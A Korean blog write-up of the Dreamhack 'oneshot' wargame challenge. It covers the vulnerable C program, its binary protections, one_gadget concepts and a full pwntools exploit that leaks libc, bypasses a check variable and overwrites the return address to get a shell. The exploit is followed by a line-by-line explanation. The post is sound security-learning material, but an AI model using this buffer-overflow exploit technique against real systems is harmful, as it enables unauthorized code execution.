원샷. 커피 샷 추가..? (껄껄)
Here’s a breakdown of the security protections for **Ubuntu 16.04** with the configuration you provided:
1. **Arch: amd64-64-little**: This is the architecture, indicating a 64-bit system using little-endian byte order.
2. **RELRO: Partial RELRO**: Partially enabled "Relocation Read-Only" protection. This makes certain sections of the process read-only but doesn’t fully protect the Global Offset Table (GOT).
3. **Stack: No canary found**: Stack canaries, which help detect buffer overflows, are not used.
4. **NX: NX enabled**: No-eXecute (NX) bit is enabled, preventing execution of code on the stack.
5. **PIE: PIE enabled**: Position Independent Executable (PIE) is enabled, making it harder for attackers to predict memory addresses, which improves security against exploits like return-oriented programming (ROP).
These security settings provide moderate protection, but some vulnerabilities, like the absence of stack canaries and full RELRO, leave the system less secure than it could be.
버퍼 오버플로우~~드가자~~본질적인 메모리 문제여 ㅠㅜ
소스코드다
// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
This code has a **buffer overflow vulnerability**. Let's break it down:
1. **`read(0, msg, 46);`**: This reads 46 bytes of input into a `msg` buffer, which only has 16 bytes of allocated space. Since more data is read than the buffer can hold, this causes a **buffer overflow**.
크흑 46바이트 인풋 가능한데 16바이트 공간밖에 할당할 수 없는 이 고질적인 문제..
2. **Check bypass**: The variable `check` is located after the `msg` buffer in memory. Overflowing the buffer can overwrite `check`, changing its value to something greater than 0, which would bypass the condition `if(check > 0)`.
3. **No stack protection**: The code is compiled with `-fno-stack-protector`, which disables the stack canary, a security feature that could detect buffer overflows.
4. **No canary and Partial RELRO**: Without full RELRO and stack canaries, attackers can overwrite memory locations (such as return addresses or function pointers) to exploit the program.
### Possible Exploits:
- **Control flow hijacking**: By overwriting the return address or other control flow structures, an attacker could redirect execution to arbitrary code or functions, potentially leading to a code execution vulnerability.
이번 문제는 one_gadget을 사용할 것이다.
특정 코드 스퀸스라 생각하면된다.
one_gadget
원 가젯(one-gadget) 또는 magic_gadget 은 실행하면 셸이 획득되는 코드 뭉치를 말합니다.
기존에는 셸을 획득하기 위해 여러 개의 가젯을 조합해서 ROP Chain을 구성하거나 RTL 공격을 수행했지만,
원 가젯은 단일 가젯만으로도 셸을 실행할 수 있는 매우 강력한 가젯입니다.
HITCON, 217 CTF팀의 멤버인 david942j가 만든 one_gadget 도구를 사용하면
libc에서 쉽게 원 가젯을 찾을 수 있습니다.
https://github.com/david942j/one_gadget
원 가젯은 libc의 버전마다 다르게 존재하며, 제약 조건도 모두 다릅니다.
일반적으로 Glibc 버전이 높아질수록 제약 조건을 만족하기가 어려워지는 특성이 있기 때문에
필요에 따라 상황에 맞는 가젯을 사용하거나, 제약 조건을 만족하도록 사전에 조작해 주어야 합니다.
원 가젯은 함수에 인자를 전달하기 어려울 때 유용하게 활용할 수 있습니다.
예를 들어, __malloc_hook 을 임의의 값으로 오버라이트할 수 있지만,
malloc 의 인자에 작은 정수 밖에 입력할 수 없는 상황이라면
“/bin/sh” 문자열 주소를 인자로 전달하기가 매우 어렵습니다.
이럴 때 제약 조건을 만족하는 원 가젯이 존재한다면, 이를 호출해서 셸을 획득할 수 있습니다.
드림핵 one_gadget 강의 중
https://velog.io/@silvergun8291/Dreamhack-oneshot
스택 구조 이미지를 잘 그려놓으셨다 굳굳
https://keyme2003.tistory.com/entry/dreamhack-oneshot
https://lemon-soju.tistory.com/30
각 함수에 쓰이는 변수와 비교하는 cmp 구문을 통해 각 변수의 주소를 알 수 있다.
msg 변수의 주소는 rbp-0x20이고, check 변수의 주소는 rbp-0x8이다.
입력을 46바이트만큼 받기 때문에 버퍼오버플로우가 발생하지만, RET를 접근하기 전에 check 변수를 만난다.
이를 생각하여 msg의 주소(rbp-0x20)로부터 값을 채울 때,
check(rbp-0x8)의 값을 0보다 크지 않게 설정해줘야 프로그램이 종료되지 않고 실행 흐름을 조작할 수 있다.
출처 ㅣ https://she11.tistory.com/140
ret 위에 rbp가 있고 그위에 check가 있다, ret을 접근하기전에 우리는 check 변수를 만난다!
from pwn import *
# r=process('./basic_rop_x64')
r = remote("host1.dreamhack.games", 18309)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')
context.log_level = 'debug'
def main():
oneshot1 = 0x45216
oneshot2 = 0x4526a
oneshot3 = 0xf02a4
oneshot4 = 0xf1147
r.recvuntil("stdout: ")
leak = int(r.recv(14), 16)
print("[+] leak: " + hex(leak))
print('[+] stdout: ' + hex(libc.sym['_IO_2_1_stdout_']))
libcbase = leak - libc.sym['_IO_2_1_stdout_']
print('[+] libcbase: ' + hex(libcbase))
one_gadget = libcbase + oneshot1
payload = b'a' * 24 + p64(0) + b'a' * 8 + p64(one_gadget)
r.sendafter('MSG: ', payload)
r.send(payload)
r.interactive()
if __name__ == "__main__":
main()
코드 출처ㅣ https://lemon-soju.tistory.com/30
익스플로잇 코드를 요약하면 stdout 주소를 획득하여 stdout 실제 주소에서 오프셋을 빼면 libcbase를 구할 수 있다. one_gadget으로 구한 oneshot 하나를 골라 libcbase에 덧셈하여 one_gadget을 만든다.
check 앞까지 덮어씌우기 위해 'a' 24개를 페이로드에 추가하고
check에는 0을 주입한다.
다음으로 main sfp는 필요없으므로 'a' 8개로 채우고 main ret을 one_gadget으로 덮어준다.
https://lemon-soju.tistory.com/30
이 코드는 원격 서버에서 제공하는 바이너리(실행 파일)에 대해 **ROP (Return-Oriented Programming)** 공격을 수행하려고 작성된 익스플로잇 코드입니다. 코드를 단계별로 설명해드리겠습니다.
### 1. **라이브러리 임포트 및 원격 연결**
```python
from pwn import *
# r=process('./basic_rop_x64')
r = remote("host1.dreamhack.games", 18889)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')
context.log_level = 'debug'
```
- `from pwn import *`: `pwntools`라는 라이브러리를 사용하여 익스플로잇을 작성합니다. 이 라이브러리는 바이너리 익스플로잇과 관련된 다양한 기능을 제공합니다.
- `r = remote("host1.dreamhack.games", 18889)`: 로컬 바이너리 대신 원격 서버에 연결하여 바이너리를 공격하려는 코드입니다. `remote()` 함수는 서버와 연결을 생성합니다.
- `e = ELF('./oneshot')`: 공격할 바이너리 파일을 ELF 형식으로 로드합니다. ELF는 리눅스 실행 파일의 표준 형식입니다.
- `libc = ELF('./libc.so.6')`: 로컬에 있는 `libc.so.6` 파일을 로드하여, 필요한 함수와 주소들을 참조합니다. 이 `libc` 라이브러리는 시스템에서 제공하는 기본 라이브러리입니다.
- `context.log_level = 'debug'`: 디버깅 목적으로 로그 수준을 `debug`로 설정해, 통신 내역을 상세히 출력합니다.
### 2. **메인 함수**
```python
def main():
oneshot1 = 0x45216
oneshot2 = 0x4526a
oneshot3 = 0xf02a4
oneshot4 = 0xf1147
```
- 여기서 `oneshot1`, `oneshot2`, `oneshot3`, `oneshot4`는 **one-gadget**으로 불리는 주소들입니다. 이 주소들은 `libc`에서 특정 조건(레지스터 상태 등)을 만족하면 바로 쉘을 얻을 수 있는 주소들입니다. 다양한 조건을 만족시키기 위한 여러 개의 one-gadget이 제공됩니다.
### 3. **메모리 누수 처리**
```python
r.recvuntil("stdout: ")
leak = int(r.recv(14), 16)
print("[+] leak: " + hex(leak))
print('[+] stdout: ' + hex(libc.sym['_IO_2_1_stdout_']))
```
- `r.recvuntil("stdout: ")`: 서버가 보내는 데이터를 읽어들이며, `"stdout: "`까지의 내용을 받습니다.
- `leak = int(r.recv(14), 16)`: 14바이트의 누수된 `stdout` 주소를 16진수로 변환하여 저장합니다. 이 주소는 `libc`에서의 `_IO_2_1_stdout_`의 실제 주소를 의미합니다.
- 이 과정을 통해 서버가 실제로 사용하는 `libc` 주소를 누출(메모리 누수)시킵니다. 이 주소를 이용하여 시스템의 기본 라이브러리 위치를 계산하게 됩니다.
### 4. **libc의 베이스 주소 계산**
```python
libcbase = leak - libc.sym['_IO_2_1_stdout_']
print('[+] libcbase: ' + hex(libcbase))
```
- `libcbase = leak - libc.sym['_IO_2_1_stdout_']`: 누출된 `stdout`의 주소에서 `libc`에서의 `_IO_2_1_stdout_` 심볼 오프셋을 빼서 실제 `libc` 베이스 주소를 계산합니다. 이를 통해 시스템에서 사용 중인 `libc` 라이브러리의 시작 주소를 얻습니다.
- 이 베이스 주소는 이후의 one-gadget을 정확히 참조하는 데 필요합니다.
### 5. **one-gadget을 이용한 페이로드 생성**
```python
one_gadget = libcbase + oneshot1
payload = b'a' * 24 + p64(0) + b'a' * 8 + p64(one_gadget)
```
- `one_gadget = libcbase + oneshot1`: 계산된 `libc` 베이스 주소에 미리 정의된 `oneshot1`의 오프셋을 더해 **one-gadget**의 정확한 메모리 주소를 구합니다.
- `payload = b'a' * 24 + p64(0) + b'a' * 8 + p64(one_gadget)`:
- 이 부분에서 페이로드를 생성합니다.
- `b'a' * 24`: 버퍼의 오버플로우를 유발하기 위해 24바이트의 임의 데이터를 채웁니다.
- `p64(0)`: 패딩으로 8바이트 0을 채웁니다.
- `b'a' * 8`: 추가 패딩으로 8바이트를 채웁니다.
- `p64(one_gadget)`: 마지막으로 `one-gadget` 주소를 넣어 ROP(Return Oriented Programming)를 실행합니다. 이 주소로 리턴하면 바로 쉘을 얻을 수 있습니다.
### 6. **페이로드 전송 및 쉘 획득**
```python
r.sendafter('MSG: ', payload)
r.send(payload)
r.interactive()
```
- `r.sendafter('MSG: ', payload)`: 서버에서 'MSG: '를 보낸 후 페이로드를 전송합니다.
- `r.send(payload)`: 다시 한 번 페이로드를 전송합니다. 두 번 전송하는 이유는 정확한 컨텍스트에 따라 다를 수 있지만, 익스플로잇 과정에서 두 번의 입력이 필요할 수 있습니다.
- `r.interactive()`: 이 함수는 익스플로잇 성공 후 상호작용할 수 있는 쉘을 열어줍니다. 만약 공격이 성공했다면, 서버의 쉘을 제어할 수 있습니다.
### 요약
이 코드는 메모리 누수(Leak)를 이용해 `libc`의 베이스 주소를 알아낸 후, one-gadget을 이용하여 시스템 쉘을 얻는 ROP 기반 익스플로잇입니다. 페이로드는 버퍼 오버플로우를 통해 return address를 조작하고, 원하는 `one-gadget` 주소로 리턴하여 쉘을 획득하는 방식입니다.
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[59] IT 비전공자 [dreamhack]sql injection bypass WAF문제 풀기 (10) | 2024.11.07 |
---|---|
[58] IT 비전공자 [dreamhack]command-injection-chatgpt문제 풀기 (3) | 2024.11.06 |
[56] IT 비전공자 [dreamhack]error based sql injection문제 풀기 (5) | 2024.11.04 |
[55] IT 비전공자 [dreamhack]rev-basic-8문제 풀기 (4) | 2024.11.03 |
[54] IT 비전공자 [dreamhack]basic_exploitation_003문제 풀기 (0) | 2024.11.02 |